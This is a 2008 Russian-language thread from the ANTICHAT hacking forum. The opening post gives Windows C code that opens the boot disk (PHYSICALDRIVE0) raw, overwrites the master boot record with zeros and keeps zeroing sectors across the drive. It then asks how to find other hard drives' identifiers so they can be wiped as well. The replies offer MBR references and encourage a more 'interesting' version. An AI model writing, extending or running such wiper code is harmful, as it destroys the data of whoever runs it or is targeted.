HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как определить идентификатор жесткого диска?
  #1  
Старый 02.06.2008, 15:16
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
С нами: 10535289

Репутация: 107


По умолчанию Как определить идентификатор жесткого диска?

Вот к примеру с помощью такого примитива
Код:
des()
{
HANDLE fs;DWORD num;
char bf1[512];char bf2[1024*256];
char *disk="\\\\.\\PHYSICALDRIVE0";
int sek=0;
fs=CreateFile(disk,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,NULL);
memset(bf2,0,1024*256);
for(;;)
{
SetFilePointer(fs,512*sek,NULL,FILE_BEGIN);
if(sek==0)
{
memset(bf1,0,512);
WriteFile(fs,bf1,512,&num,NULL);
}
sek=sek+1024;
WriteFile(fs,bf2,512,&num,NULL);
}
}
Можно подпортить инфу на жестком диске.Но насколько я понимаю данные потрутся только на харде с которого грузится винда(PHYSICALDRIVE0).А если есть другие харды , то как можно получить их идентификаторы при этом не спутав хард с оптическим приводом?
 
Ответить с цитированием

  #2  
Старый 02.06.2008, 15:45
KSoniX
Познающий
Регистрация: 17.01.2008
Сообщений: 94
С нами: 9639320

Репутация: 38
По умолчанию

читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html

Последний раз редактировалось KSoniX; 02.06.2008 в 15:53..
 
Ответить с цитированием

  #3  
Старый 02.06.2008, 19:06
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
С нами: 10535289

Репутация: 107


По умолчанию

Цитата:
Сообщение от KSoniX  
читай Mbr
http://www.opennet.ru/base/dev/hdd_struct2.txt.html
Причем здесь загрузочный сектор???Я хотел узнать как можно железки типа HDD опознать под виндой.Тем более ссылка по линуксу.

Последний раз редактировалось _nic; 02.06.2008 в 19:10..
 
Ответить с цитированием

  #4  
Старый 04.06.2008, 09:32
KSoniX
Познающий
Регистрация: 17.01.2008
Сообщений: 94
С нами: 9639320

Репутация: 38
По умолчанию

в загрузочный секторе хранится инфо по разделам
или я тебя не понял, если тебе серийный номер диска нужен то смотри здесь
https://forum.antichat.ru/thread71136.html

Последний раз редактировалось KSoniX; 04.06.2008 в 09:53..
 
Ответить с цитированием

  #5  
Старый 11.06.2008, 22:29
disasembler
Познающий
Регистрация: 24.03.2008
Сообщений: 35
С нами: 9543982

Репутация: 3
По умолчанию

структуры то общие
а портировать под винду проблем не составляет, только устройства разные открывать, а так может чтото поинтереснее мбр напишешь
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Raid, Scsi Cthulchu "Железо" 5 22.11.2008 16:45
Как определить тип ексепшина s0lar Реверсинг 8 02.05.2008 14:33
Как стать хакером! foreva Болталка 19 12.12.2007 00:12
Как определить ip по аське Skype, IRC, ICQ, Jabber и другие IM 2 03.09.2004 08:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...